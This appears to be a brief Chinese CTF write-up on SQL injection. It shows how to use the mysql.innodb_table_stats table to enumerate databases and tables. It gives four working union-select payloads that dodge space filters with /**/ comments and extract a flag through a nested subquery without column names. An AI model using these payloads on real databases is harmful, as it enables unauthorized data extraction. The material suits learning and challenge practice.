前言:
mysql.innodb_table_stats库
mysql.innodb_table_stats 是 MySQL 中 InnoDB 存储引擎的一个系统表,它存储了关于 InnoDB 表的统计信息,例如行数、数据大小等。
查看库名:
♾️ html 代码:0'union/**/select/**/1,2,database()/**/where/**/'1
查看表名:
♾️ html 代码:0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
查看字段名:
♾️ html 代码:0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
查看flag表中的内容:
♾️ html 代码:0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/'1
#group_concat(1) 是将 1 列中的多个值合并为一个字符串。
#from (select 1 union select * from ctftraining.flag) a:嵌套的子查询,将一个 SELECT 查询的结果作为另一个 SELECT 查询的输入。在这里,第一个 SELECT 查询选择了一个常量值 1,而第二个 SELECT 查询从 ctftraining.flag 表中选择所有列的数据。
where '1
为题目所需构造的语句。
查到的表名和字段名是对应的。